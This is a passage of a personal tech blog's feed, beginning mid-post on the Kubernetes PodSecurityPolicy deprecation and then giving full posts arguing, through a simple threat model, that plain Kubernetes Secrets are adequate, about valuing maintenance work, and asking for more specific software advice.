&lt;p&gt;While that Pod Security Admission controller was the official, in-tree replacement, the deprecation announcement &lt;a href=&quot;https:&#x2F;&#x2F;kubernetes.io&#x2F;blog&#x2F;2021&#x2F;04&#x2F;06&#x2F;podsecuritypolicy-deprecation-past-present-and-future&#x2F;&quot;&gt;blog post&lt;&#x2F;a&gt; pointed to &lt;a href=&quot;https:&#x2F;&#x2F;github.com&#x2F;open-policy-agent&#x2F;gatekeeper&quot;&gt;Gatekeeper&lt;&#x2F;a&gt; as an unofficial replacement. But Gatekeeper was missing an important feature that was present in PSPs: the ability to mutate pods. Coincidentally, Gatekeeper &lt;a href=&quot;https:&#x2F;&#x2F;github.com&#x2F;open-policy-agent&#x2F;gatekeeper&#x2F;releases&#x2F;tag&#x2F;v3.4.0&quot;&gt;released&lt;&#x2F;a&gt; &quot;alpha&quot; support for mutation on the same day PSPs were deprecated, which didn&#x27;t become &quot;beta&quot; for &lt;a href=&quot;https:&#x2F;&#x2F;github.com&#x2F;open-policy-agent&#x2F;gatekeeper&#x2F;releases&#x2F;tag&#x2F;v3.7.0&quot;&gt;another 7 months&lt;&#x2F;a&gt; where it remains to this day.&lt;&#x2F;p&gt;
&lt;p&gt;So anyone deploying new clusters between April and November 2021 had to choose between deprecated software (PSPs) and alpha software (PSA or Gatekeeper) to fix this important security issue. I was one of those people, hence this rant :)&lt;&#x2F;p&gt;
&lt;h2 id=&quot;reason-3-a-de-facto-standard-is-not-a-standard&quot;&gt;Reason 3: A de-facto standard is not a standard&lt;&#x2F;h2&gt;
&lt;p&gt;This is not the first time Kubernetes has left an important niche to third-party software. The Container Runtime Interface (CRI), Container Networking Interface (CNI), Container Storage Interface (CSI), Cloud Controller Manager (CCM), and the Ingress Controller interfaces have all been successful as far as I can tell. These interfaces allow for multiple vendors to supply compatible plugins that users can (more or less) switch between easily. But no such standard interface was created for PodSecurityPolicies, and so the ecosystem is now fragmented.&lt;&#x2F;p&gt;
&lt;p&gt;While Gatekeeper is officially &quot;graduated&quot; according to the CNCF (Kubernetes&#x27; parent organization), a startup named Nirmata develops &lt;a href=&quot;https:&#x2F;&#x2F;github.com&#x2F;kyverno&#x2F;kyverno&quot;&gt;Kyverno&lt;&#x2F;a&gt;, which is almost equally popular and fills the same niche as Gatekeeper as a PSP replacement. Gatekeeper and Kyverno have wildly incompatible policy languages, which means application vendors can no longer ship PSP-related rule exceptions along side their applications like they can with e.g. Ingresses, NetworkPolicies, etc.&lt;&#x2F;p&gt;
&lt;p&gt;So if you want to install e.g. a log collector, you can&#x27;t just &lt;code&gt;helm install&lt;&#x2F;code&gt; it anymore like you could if the helm chart included PSPs. You have to go tweak your Gatekeeper&#x2F;Kyverno policies over and over until the pods finally run. And now you are locked-in to either Gatekeeper or Kyverno&#x27;s policy language.&lt;&#x2F;p&gt;
&lt;h2 id=&quot;reason-4-this-has-already-caused-a-zero-day&quot;&gt;Reason 4: This has already caused a zero-day&lt;&#x2F;h2&gt;
&lt;p&gt;In Kubernetes v1.23, &lt;a href=&quot;https:&#x2F;&#x2F;kubernetes.io&#x2F;docs&#x2F;concepts&#x2F;workloads&#x2F;pods&#x2F;ephemeral-containers&#x2F;&quot;&gt;ephemeral containers&lt;&#x2F;a&gt; were enabled by default. This presents a challenge to Gatekeeper&#x2F;Kyverno since its one extra field in a Pod that they need to validate.&lt;&#x2F;p&gt;
&lt;p&gt;Unfortunately, at the time of writing Gatekeeper&#x27;s PSP replacement policies &lt;a href=&quot;https:&#x2F;&#x2F;github.com&#x2F;open-policy-agent&#x2F;gatekeeper-library&#x2F;issues&#x2F;188&quot;&gt;still do not validate ephemeral containers&lt;&#x2F;a&gt;! Any v1.23 cluster which migrated from PSPs to Gatekeeper now has no protection against privileged pods! That&#x27;s a 5+ month lag time! &lt;a href=&quot;https:&#x2F;&#x2F;xenitab.github.io&#x2F;blog&#x2F;2022&#x2F;04&#x2F;12&#x2F;ephemeral-container-security&#x2F;&quot;&gt;Another user&lt;&#x2F;a&gt; found that Kyverno also had a &lt;a href=&quot;https:&#x2F;&#x2F;github.com&#x2F;kyverno&#x2F;kyverno&#x2F;releases&#x2F;tag&#x2F;v1.5.3&quot;&gt;1 month lag time&lt;&#x2F;a&gt;.&lt;&#x2F;p&gt;
&lt;p&gt;In contrast, both PSPs and PSA were updated to check ephemeral containers before v1.23 was released (PSPs: &lt;a href=&quot;https:&#x2F;&#x2F;github.com&#x2F;kubernetes&#x2F;kubernetes&#x2F;pull&#x2F;59416&#x2F;files#diff-40853a2fe474b6bde454934dc4e0742a3d9bbf98c31336d8d74520ebe8a2e300R48&quot;&gt;&lt;code&gt;util.go&lt;&#x2F;code&gt;&lt;&#x2F;a&gt;. PSA: &lt;a href=&quot;https:&#x2F;&#x2F;github.com&#x2F;kubernetes&#x2F;kubernetes&#x2F;blob&#x2F;v1.22.0&#x2F;staging&#x2F;src&#x2F;k8s.io&#x2F;pod-security-admission&#x2F;policy&#x2F;visitor.go#L34&quot;&gt;&lt;code&gt;visitor.go&lt;&#x2F;code&gt;&lt;&#x2F;a&gt;). This is the benefit of being &quot;in-tree&quot; that Gatekeeper&#x2F;Kyverno can&#x27;t have. If there was at least a standard interface like CSI&#x2F;CRI&#x2F;CNI, that may have helped prevent this.&lt;&#x2F;p&gt;
&lt;h2 id=&quot;takeaways&quot;&gt;Takeaways&lt;&#x2F;h2&gt;
&lt;p&gt;I want to clarify that I don&#x27;t think less highly of the various parties involved in the PSP deprecation process. PSPs did require &lt;em&gt;some&lt;&#x2F;em&gt; kind of change, and sig-auth&#x27;s reasoning at the time was solid. I&#x27;m only able to make my argument with the clarity of hindsight.&lt;&#x2F;p&gt;
&lt;p&gt;Since it&#x27;s too late to stop the PSP deprecation anyway (&lt;a href=&quot;https:&#x2F;&#x2F;github.com&#x2F;kubernetes&#x2F;kubernetes&#x2F;pull&#x2F;109798&quot;&gt;merged 4 days ago&lt;&#x2F;a&gt;), I intend this post to just be a post-mortem, with the following lessons-learned:&lt;&#x2F;p&gt;
&lt;ol&gt;
&lt;li&gt;Don&#x27;t be afraid to make backwards-incompatible changes to beta APIs, especially if it&#x27;s in the name of security.&lt;&#x2F;li&gt;
&lt;li&gt;Deeply consider how the whole ecosystem will react to a given change since it moves so slowly.&lt;&#x2F;li&gt;
&lt;li&gt;Learn from the success of the &quot;Container * Interfaces&quot;. They can prevent ecosystem fragmentation and compatibility issues.&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
</content>
        
    </entry>
    <entry xml:lang="en">
        <title>Plain Kubernetes Secrets are fine</title>
        <published>2022-04-30T00:00:00+00:00</published>
        <updated>2022-04-30T00:00:00+00:00</updated>
        
        <author>
          <name>
            
              Mac
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://www.macchaffee.com/blog/2022/k8s-secrets/"/>
        <id>https://www.macchaffee.com/blog/2022/k8s-secrets/</id>
        
        <content type="html" xml:base="https://www.macchaffee.com/blog/2022/k8s-secrets/">&lt;p&gt;It&#x27;s no secret that Kubernetes Secrets are just base64-encoded strings stored in etcd alongside the rest of the cluster&#x27;s state. Ever since the &lt;a href=&quot;https:&#x2F;&#x2F;github.com&#x2F;kubernetes&#x2F;kubernetes&#x2F;pull&#x2F;4514&quot;&gt;introduction of Secrets in 2015&lt;&#x2F;a&gt;, armchair security experts have been scoffing at this decision and seeking alternatives. I think those people are missing the point.&lt;&#x2F;p&gt;
&lt;p&gt;The design of the Secrets API dates back to before Kubernetes v0.12. In &lt;a href=&quot;https:&#x2F;&#x2F;github.com&#x2F;kubernetes&#x2F;kubernetes&#x2F;issues&#x2F;2030#issuecomment-61584588&quot;&gt;a thread the predates the original design document&lt;&#x2F;a&gt;, there&#x27;s a line that hints at why people might be confused by Secrets:&lt;&#x2F;p&gt;
&lt;blockquote&gt;
&lt;p&gt;Its hard to evaluate these alternatives without a threat model&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;p&gt;That&#x27;s exactly the issue. The naive approach to securing software is to blindly implement a checklist of security features. But a deeper understanding of security will quickly uncover that perfect security is impossible; you have to make trade-offs and prioritize the most likely scenarios. Creating a &lt;a href=&quot;https:&#x2F;&#x2F;owasp.org&#x2F;www-community&#x2F;Threat_Modeling_Process&quot;&gt;threat model&lt;&#x2F;a&gt; can help you make those decisions. Let&#x27;s create a rudimentary threat model for Kubernetes Secrets and see what comes up.&lt;&#x2F;p&gt;
&lt;h2 id=&quot;a-simple-threat-model-for-kubernetes-secrets&quot;&gt;A simple threat model for Kubernetes Secrets&lt;&#x2F;h2&gt;
&lt;h4 id=&quot;what-are-we-protecting&quot;&gt;What are we protecting?&lt;&#x2F;h4&gt;
&lt;p&gt;Secrets are generally used to store things like database passwords and private keys meaning they are a high-value target.&lt;&#x2F;p&gt;
&lt;h4 id=&quot;what-does-a-security-failure-look-like&quot;&gt;What does a security failure look like?&lt;&#x2F;h4&gt;
&lt;p&gt;If an attacker is able to read a secret, they can use it to perform further attacks such as stealing data, modifying&#x2F;deleting&#x2F;ransoming data, or gaining authorization to do things like spawn pods that mine crypto. Normally we&#x27;d use something like &lt;a href=&quot;https:&#x2F;&#x2F;wiki.openstack.org&#x2F;wiki&#x2F;Security&#x2F;OSSA-Metrics#DREAD&quot;&gt;DREAD&lt;&#x2F;a&gt; to rank the severity of different attacks, but exposing secrets is somewhat binary unless we have a specific secret in mind.&lt;&#x2F;p&gt;
&lt;h4 id=&quot;how-can-secrets-be-stolen-what-can-go-wrong&quot;&gt;How can secrets be stolen (what can go wrong)?&lt;&#x2F;h4&gt;
&lt;p&gt;At a bare minimum, secrets need to exist in plaintext in the memory of whatever application needs it, where it can (&lt;a href=&quot;https:&#x2F;&#x2F;git.kernel.org&#x2F;pub&#x2F;scm&#x2F;linux&#x2F;kernel&#x2F;git&#x2F;next&#x2F;linux-next.git&#x2F;commit&#x2F;?id=72101855fb9a2b3cd72c051791609a217c4a6281&quot;&gt;almost&lt;&#x2F;a&gt;) &lt;a href=&quot;https:&#x2F;&#x2F;github.com&#x2F;n1nj4sec&#x2F;mimipy&quot;&gt;always&lt;&#x2F;a&gt; be stolen by another process on the same node with enough perseverance. We also need to store the secret somewhere persistent. In our case, secrets are stored inside etcd and accessible from the Kubernetes API.&lt;&#x2F;p&gt;
&lt;p&gt;Since the secret must exist in those two places, they can be stolen in any of the following ways:&lt;&#x2F;p&gt;
&lt;ol&gt;
&lt;li&gt;A malicious process on the same node (scan memory, or if not enforcing securityContexts, read straight from &#x2F;proc or the CRI)&lt;&#x2F;li&gt;
&lt;li&gt;Root access to a control plane node (read etcd&#x27;s memory, read the on-disk dump, or steal a client cert and connect directly)&lt;&#x2F;li&gt;
&lt;li&gt;Root access to a worker node (steal kubelet&#x27;s client cert and read the secret from the API server, or read the secret file&#x2F;env var directly)&lt;&#x2F;li&gt;
&lt;li&gt;Access to the physical server of a control plane node (plug the hard drive into another computer and read the etcd data or just dump the RAM)&lt;&#x2F;li&gt;
&lt;li&gt;Future unexpected attacks (this is a catch-all which helps us pick solutions that have a smaller attack surface)&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;p&gt;Some of the more eccentric hacks like social engineering, malicious insider, human error&#x2F;misconfiguration, or hardware supply chain attacks are of course possible, but outside the scope of what Kubernetes can fix realistically.&lt;&#x2F;p&gt;
&lt;h4 id=&quot;how-can-we-prevent-those-attacks&quot;&gt;How can we prevent those attacks?&lt;&#x2F;h4&gt;
&lt;p&gt;For Attack #1: Stealing secrets from memory is a risk we&#x27;re forced to tolerate. Applications could use auto-expiring tokens or multi-factor authentication, but those features are out of scope since they are application-dependent.&lt;&#x2F;p&gt;
&lt;p&gt;For Attack #2 and #3: Root access to nodes is a huge concern. This can be mitigated by general server hardening, patching, and &lt;a href=&quot;https:&#x2F;&#x2F;kubernetes.io&#x2F;docs&#x2F;concepts&#x2F;security&#x2F;pod-security-standards&#x2F;&quot;&gt;preventing privileged pods from running&lt;&#x2F;a&gt;, but this is a very complex threat to address.&lt;&#x2F;p&gt;
&lt;p&gt;For Attack #4: Access to physical server can be somewhat be mitigated by encrypting disks at rest. Crucially, the encryption key MUST be stored in a separate security domain to get any security benefit. But since physical access is typically game-over, you just need some serious physical security.&lt;&#x2F;p&gt;
&lt;p&gt;For Attack #5: Here is where we have to gamble on future zero-days appearing. We can raise our chances by choosing simpler and well-tested methods, and it doesn&#x27;t get much simpler than plain Kubernetes Secrets.&lt;&#x2F;p&gt;
&lt;h2 id=&quot;takeaways-from-the-threat-model&quot;&gt;Takeaways from the threat model&lt;&#x2F;h2&gt;
&lt;p&gt;The threat model exposes an inconvenient truth that storing secrets is hard since the plaintext version has to exist somewhere (in contrast to e.g. password hashes). That&#x27;s just the problem with reversible encryption.&lt;&#x2F;p&gt;
&lt;p&gt;Any improvement on the existing Secrets implementation would have to mitigate more of those attacks, but I posit that none of the proposed alternatives to plain Kubernetes Secrets offer enough extra security to be worth the hassle.&lt;&#x2F;p&gt;
&lt;h2 id=&quot;alternatives-to-kubernetes-secrets&quot;&gt;Alternatives to Kubernetes Secrets&lt;&#x2F;h2&gt;
&lt;p&gt;Let&#x27;s looks at some of the alternatives that exist and see how they measure up.&lt;&#x2F;p&gt;
&lt;h4 id=&quot;etcd-encryption-at-rest&quot;&gt;Etcd encryption at rest&lt;&#x2F;h4&gt;
&lt;p&gt;I&#x27;m shocked this is still the &lt;a href=&quot;https:&#x2F;&#x2F;kubernetes.io&#x2F;docs&#x2F;concepts&#x2F;configuration&#x2F;secret&#x2F;#alternatives-to-secrets&quot;&gt;#1 recommended alternative&lt;&#x2F;a&gt; considering how wildly useless it is.&lt;&#x2F;p&gt;
&lt;p&gt;&lt;a href=&quot;https:&#x2F;&#x2F;kubernetes.io&#x2F;docs&#x2F;tasks&#x2F;administer-cluster&#x2F;encrypt-data&#x2F;&quot;&gt;Etcd encryption at rest&lt;&#x2F;a&gt; involves encrypting all Secrets inside etcd with a key that is... on the same filesystem as etcd itself. So &lt;em&gt;none&lt;&#x2F;em&gt; of the four attacks in our threat model are mitigated here. Not even the &quot;physical access&quot; attack since the key is stored on the same disk! Or at least another disk that is accessible from the same host (not even an option mentioned in the docs).&lt;&#x2F;p&gt;
&lt;h4 id=&quot;etcd-encryption-via-kms&quot;&gt;Etcd encryption via KMS&lt;&#x2F;h4&gt;
&lt;p&gt;You can replace your encryption key from the above method with a &lt;a href=&quot;https:&#x2F;&#x2F;kubernetes.io&#x2F;docs&#x2F;tasks&#x2F;administer-cluster&#x2F;kms-provider&#x2F;&quot;&gt;Key Management Service from your favorite cloud provider&lt;&#x2F;a&gt;.&lt;&#x2F;p&gt;
&lt;p&gt;While this is listed as the &quot;Strongest&quot; method, it&#x27;s basically just as insecure according to our threat model. An attacker who can access the node can just mimic what etcd does and decrypt the secrets before exfiltrating them. At least this mitigates physical access to the disk, if and only if the KMS client is authenticating to your cloud provider with an auto-rotating, multi-factor token.&lt;&#x2F;p&gt;
&lt;p&gt;Using this option requires a hard dependency on your cloud provider, a lot of complexity, and a BIG blast radius if it ever breaks. If you&#x27;re forced to encrypt secrets at rest for compliance, this is unfortunately your best option despite it not tangibly benefitting your security posture.&lt;&#x2F;p&gt;
&lt;h4 id=&quot;bitnami-sealed-secrets&quot;&gt;Bitnami Sealed Secrets&lt;&#x2F;h4&gt;
&lt;p&gt;&lt;a href=&quot;https:&#x2F;&#x2F;github.com&#x2F;bitnami-labs&#x2F;sealed-secrets&quot;&gt;Sealed Secrets&lt;&#x2F;a&gt; really aren&#x27;t an alternative to secrets, but I&#x27;ve seen people think they are. Sealed Secrets allow you to store encrypted secrets in version control. When you &lt;code&gt;kubectl apply&lt;&#x2F;code&gt; a SealedSecret to your cluster, it gets automatically unencrypted and converted into plain Kubernetes Secrets by the Sealed Secrets controller.&lt;&#x2F;p&gt;
&lt;p&gt;Since SealedSecrets turn into plain Secrets, no attacks in our threat model are mitigated. If you have no other safe place to store Secrets, SealedSecrets is a good option, but our threat model considers out-of-cluster storage of secrets to be out of scope.&lt;&#x2F;p&gt;
&lt;h4 id=&quot;vault-sidecar-injector&quot;&gt;Vault Sidecar Injector&lt;&#x2F;h4&gt;
&lt;p&gt;Here&#x27;s the big one people point to. At its core, Vault is just a key-value store with a few key features:&lt;&#x2F;p&gt;
&lt;ol&gt;
&lt;li&gt;A clever &lt;a href=&quot;https:&#x2F;&#x2F;www.vaultproject.io&#x2F;docs&#x2F;concepts&#x2F;seal&quot;&gt;Shamir sealing process&lt;&#x2F;a&gt;, which people immediately disable in favor of &lt;a href=&quot;https:&#x2F;&#x2F;www.vaultproject.io&#x2F;docs&#x2F;concepts&#x2F;seal#auto-unseal&quot;&gt;auto-unsealing&lt;&#x2F;a&gt; which negates the benefits of sealing just like etcd encryption via KMS.&lt;&#x2F;li&gt;
&lt;li&gt;A rich policy language, which few people bother to learn.&lt;&#x2F;li&gt;
&lt;li&gt;Great auditing, which no one monitors.&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;p&gt;So in the end, Vault is just a key-value store unless you&#x27;re paying $$$ for a managed Vault instance or a team of in-house Vault experts. I&#x27;ve worked for a company where we had a whole team running HSM-backed Enterprise Vault, but that thing still went down all the time.&lt;&#x2F;p&gt;
&lt;p&gt;But let&#x27;s say you have the deep pockets for an impossibly-well-maintained Vault instance. You&#x27;ve just installed the &lt;a href=&quot;https:&#x2F;&#x2F;www.vaultproject.io&#x2F;docs&#x2F;platform&#x2F;k8s&#x2F;injector&quot;&gt;Vault Sidecar Injector&lt;&#x2F;a&gt; in your Kubernetes cluster. Do you get enough security out of this complex arrangement to be worth it? I&#x27;d argue no.&lt;&#x2F;p&gt;
&lt;p&gt;The sidecar injector works by modifying pods to have a Vault client sidecar which authenticates to your Vault server, downloads the secret, and stores it in a shared-memory volume which your app can access like a regular file.&lt;&#x2F;p&gt;
&lt;p&gt;For Attack #1: Since the secret is still in memory, attackers on the node can still steal it.&lt;&#x2F;p&gt;
&lt;p&gt;For Attack #2 and #3: If an attacker hacks any node (worker or control plane), they can run any pod with the right Vault annotations and steal the secrets.&lt;&#x2F;p&gt;
&lt;p&gt;For Attack #4: If someone accesses the physical node, they can&#x27;t get the secrets from disk, but they can get vault credentials (tied to the serviceaccount with a plain Secret) and steal the secrets that way if you are running Vault inside Kubernetes.&lt;&#x2F;p&gt;
&lt;p&gt;However, you still have to worry about physical access to the server where Vault is running. Vault encrypts data at rest when it is &quot;sealed&quot;, but if you&#x27;re using auto-unsealing, an attacker can mimic that process using your on-disk cloud credentials. Heck, someone with physical access to your server need not bother with reading your disk; they can just &lt;a href=&quot;https:&#x2F;&#x2F;github.com&#x2F;carmaa&#x2F;inception&quot;&gt;dump the RAM&lt;&#x2F;a&gt; directly if you have a free PCI slot.&lt;&#x2F;p&gt;
&lt;p&gt;For Attack #5: The complexity of running Vault greatly increases your attack surface. I trust HashiCorp to catch issues more than most companies, but more moving parts is always more risk. Sometimes that risk is worth it (like yes, hashing passwords is more complex than not, but the pros clearly outweigh the cons), but only if some of the other 4 attacks are mitigated.&lt;&#x2F;p&gt;
&lt;p&gt;So according to our threat model, using Vault introduces a few layers of indirection, but ultimately does not address more attacks than plain Kubernetes Secrets. Just using encrypted disks and storing the key somewhere safe would provide the same level of security MUCH more simply and cheaply.&lt;&#x2F;p&gt;
&lt;h2 id=&quot;conclusion&quot;&gt;Conclusion&lt;&#x2F;h2&gt;
&lt;p&gt;By creating a threat model that includes the kinds of attacks you want to mitigate, it&#x27;s clear that managing secrets safely is extremely difficult. The problem is NOT that secrets are just base64 encoded; that was never meant as a security feature. And the problem cannot be simply waved away by software&#x2F;cloud providers and their flashy documentation.&lt;&#x2F;p&gt;
&lt;p&gt;For something as security-sensitive and difficult as storing secrets, start with a threat model. If multiple solutions have similar security according to the threat model, pick the simpler one to reduce the overall attack surface.&lt;&#x2F;p&gt;
&lt;p&gt;&lt;em&gt;Edited to improve cohesiveness 2022-05-01&lt;&#x2F;em&gt;&lt;&#x2F;p&gt;
</content>
        
    </entry>
    <entry xml:lang="en">
        <title>Trust the Maintainers</title>
        <published>2021-08-14T00:00:00+00:00</published>
        <updated>2021-08-14T00:00:00+00:00</updated>
        
        <author>
          <name>
            
              Mac
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://www.macchaffee.com/blog/2021/maintenance/"/>
        <id>https://www.macchaffee.com/blog/2021/maintenance/</id>
        
        <content type="html" xml:base="https://www.macchaffee.com/blog/2021/maintenance/">&lt;p&gt;Since &lt;a href=&quot;https:&#x2F;&#x2F;en.wikipedia.org&#x2F;wiki&#x2F;Colonial_Pipeline_ransomware_attack&quot;&gt;cyber attacks&lt;&#x2F;a&gt;, a &lt;a href=&quot;https:&#x2F;&#x2F;en.wikipedia.org&#x2F;wiki&#x2F;Surfside_condominium_collapse&quot;&gt;building collapse&lt;&#x2F;a&gt;, and an &lt;a href=&quot;https:&#x2F;&#x2F;en.wikipedia.org&#x2F;wiki&#x2F;Infrastructure_Investment_and_Jobs_Act&quot;&gt;infrastructure bill&lt;&#x2F;a&gt; have been in the headlines recently, I think the time has come for us to re-assess our relationship with &lt;em&gt;maintenance&lt;&#x2F;em&gt;.&lt;&#x2F;p&gt;
&lt;p&gt;While I work in the &quot;tech&quot; field, I don&#x27;t align myself with inventors, entrepreneurs, or green-field software engineers. I align myself with the whole spectrum of &quot;maintainers&quot;, like civil engineers, power plant operators, janitors, building inspectors, security compliance officers, mechanics, etc. These jobs are mostly all considered respectable, but a building inspector will never get the same prestige as someone who invents a new gadget, founds a new company, or develops a new popular app. Why is that?&lt;&#x2F;p&gt;
&lt;p&gt;There&#x27;s an organization called &lt;a href=&quot;https:&#x2F;&#x2F;themaintainers.org&#x2F;why-do-people-neglect-maintenance&#x2F;&quot;&gt;The Maintainers&lt;&#x2F;a&gt; which has a comprehensive list of reasons why we don&#x27;t value maintenance, ranging from cognitive biases to historical reasons to financial incentives. But I&#x27;d like to focus on trust, and how mistrusting maintainers can lead to putting off maintenance.&lt;&#x2F;p&gt;
&lt;h3 id=&quot;trust&quot;&gt;Trust&lt;&#x2F;h3&gt;
&lt;p&gt;Trust has been dropping across the board according to the &lt;a href=&quot;https:&#x2F;&#x2F;www.edelman.com&#x2F;sites&#x2F;g&#x2F;files&#x2F;aatuss191&#x2F;files&#x2F;2021-03&#x2F;2021%20Edelman%20Trust%20Barometer.pdf&quot;&gt;Edelman Trust Barometer&lt;&#x2F;a&gt;. I think the ripple effects of this are also being felt by the maintainers of the world. Maintainers are always vying for the trust of decision-makers to get anything done. That leaky pipe won&#x27;t get fixed unless the suits approve the purchase order. But this imbalance of power is so frustratingly misplaced. The plumber who noticed the leaky pipes &lt;em&gt;is the subject-matter expert&lt;&#x2F;em&gt;. They are well-aware that new pipes cost money, but they&#x27;ve seen (or learned about) the risk of leaving it unfixed. The person holding the checkbook hasn&#x27;t. But somehow they get the final say? Why is the subject-matter expert not trusted to make the cost-benefit analysis?&lt;&#x2F;p&gt;
&lt;p&gt;The world of software security is another example where trust is lacking. In my experience, half the work is just convincing leadership to care the tiniest bit about security, which requires trust. Since it&#x27;s difficult to explain e.g. a &lt;a href=&quot;https:&#x2F;&#x2F;en.wikipedia.org&#x2F;wiki&#x2F;Side-channel_attack&quot;&gt;side-channel attack&lt;&#x2F;a&gt; to someone non-technical, your chances of getting resources devoted to fixing the issue are slim, unless they trust you already.&lt;&#x2F;p&gt;
&lt;p&gt;I&#x27;d say usually this mistrust is unfounded (based on bias, misunderstanding, or otherwise). But it&#x27;s true there are some untrustworthy maintainers in our ranks. When kids get their first car, they&#x27;re often warned of crooked mechanics. Or in the software world, &quot;&lt;a href=&quot;https:&#x2F;&#x2F;doi.org&#x2F;10.1109&#x2F;ICSE-SEIS52602.2021.00011&quot;&gt;resume-driven development&lt;&#x2F;a&gt;&quot; is similarly a problem. Perhaps some kind of formal licensure could help build trust, like requiring adherence to the &lt;a href=&quot;https:&#x2F;&#x2F;ethics.acm.org&#x2F;code-of-ethics&#x2F;software-engineering-code&#x2F;&quot;&gt;ACM Software Engineering Code of Ethics&lt;&#x2F;a&gt;.&lt;&#x2F;p&gt;
&lt;p&gt;There&#x27;s no doubt that maintenance is necessary and that we can never seem to do enough of it. But setting aside the cognitive biases or financial incentives against it, consider how trusting subject-matter experts plays into it. Think of the last time an outsider completely butchered an explanation of your hobby or field of study; that&#x27;s how maintainers feel every time they get overruled by laymen.&lt;&#x2F;p&gt;
</content>
        
    </entry>
    <entry xml:lang="en">
        <title>Please make your advice more specific</title>
        <published>2020-07-26T00:00:00+00:00</published>
        <updated>2020-07-26T00:00:00+00:00</updated>
        
        <author>
          <name>
            
              Mac
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://www.macchaffee.com/blog/2020/more-specifics/"/>
        <id>https://www.macchaffee.com/blog/2020/more-specifics/</id>
        
        <content type="html" xml:base="https://www.macchaffee.com/blog/2020/more-specifics/">&lt;p&gt;To those of you who give advice on which languages, methodologies, architectures, or whatever else to use, I want to start by saying thank you. Your advice is vital to the growth of millions of people like me who are early in their careers.&lt;&#x2F;p&gt;
&lt;p&gt;But I&#x27;ve noticed a pattern with software engineering advice that leads to over-engineering and unnecessary arguments. So I have a request:&lt;&#x2F;p&gt;
&lt;p align=&quot;center&quot;&gt;&lt;em&gt;Please make your advice more specific&lt;&#x2F;em&gt;&lt;&#x2F;p&gt;
&lt;p&gt;It&#x27;s too often overlooked that there isn&#x27;t just one type of &quot;software&quot;, thus it is rare for advice to be applicable to every situation. For example, advice for testing a small B2B web app might not work for embedded device firmware. But it might work for a large B2C web app. And since readers will rarely have experience in all of those situations, I think we should start being more explicit about the applicability of our advice.&lt;&#x2F;p&gt;
&lt;p&gt;Being more specific might help address two big time sinks in the industry:&lt;&#x2F;p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;a href=&quot;https:&#x2F;&#x2F;en.wiktionary.org&#x2F;wiki&#x2F;cargo_culting&quot;&gt;Cargo-culting&lt;&#x2F;a&gt;, like when people read how great Kubernetes works for Netflix, but then they decide to use it for a little Django app (that was me a few years ago).&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a href=&quot;https:&#x2F;&#x2F;en.wiktionary.org&#x2F;wiki&#x2F;bikeshedding&quot;&gt;Bikeshedding&lt;&#x2F;a&gt;, like when people argue incessantly that a language is useless because it can&#x27;t be used in some niche.&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;p&gt;A good start might be answering questions like the following:&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;Does your advice apply to my scale? (local restaurant website vs. Youtube.com)&lt;&#x2F;li&gt;
&lt;li&gt;Does your advice apply to my type of product? (library, web app, CLI tool, firmware, on&#x2F;off-premise, etc.)&lt;&#x2F;li&gt;
&lt;li&gt;Does your advice apply to my type of users? (developers, enterprises, regular people, etc.)&lt;&#x2F;li&gt;
&lt;li&gt;If not, what should I use instead? (like &lt;a href=&quot;https:&#x2F;&#x2F;adamdrake.com&#x2F;command-line-tools-can-be-235x-faster-than-your-hadoop-cluster.html&quot;&gt;replacing Hadoop with &lt;code&gt;find&#x2F;xargs&#x2F;awk&lt;&#x2F;code&gt;&lt;&#x2F;a&gt;)&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;Of course, it&#x27;s hard to find the right balance between hand-holding readers or just saying &quot;buyer beware&quot;. But hopefully spending time to add an extra subheading on &quot;Applicability&quot; to READMEs or blog posts will pay for itself in time spent over-engineering and arguing over minutiae.&lt;&#x2F;p&gt;
</content>
        
    </entry>
</feed>
